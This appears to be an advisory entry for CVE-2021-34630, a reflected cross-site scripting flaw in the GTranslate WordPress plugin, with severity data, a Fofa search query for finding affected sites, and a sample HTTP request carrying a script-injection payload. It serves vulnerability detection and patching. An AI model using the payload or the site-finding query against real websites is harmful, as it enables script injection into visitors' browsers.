| Title | GTranslate < 2.8.65 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Allows attackers to execute malicious scripts in the context of a user's browser session |
| Remediation | Update GTranslate Plugin to the latest version to mitigate this issue. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01462 |
| CVE ID | CVE-2021-34630 |
| CWE ID | CWE-79 |
| Fofa Query | body="/wp-content/plugins/gtranslate" |
| Tags | cve cve2022 wordpress wp wp-plugin gtranslate xss vuln |
In the Pro and Enterprise versions of GTranslate < 2.8.65, the gtranslate_request_uri_var function runs at the top of all pages and echoes out the contents of $_SERVER[‘REQUEST_URI’]. Although this uses addslashes, and most modern browsers automatically URLencode requests, this plugin is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below, or in cases where an attacker is able to modify the request en route between the client and the server, or in cases where the user is using an atypical browsing solution.
GET /?page</script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.2 (x64 de)
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34630.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34630.pcap
N/AN/A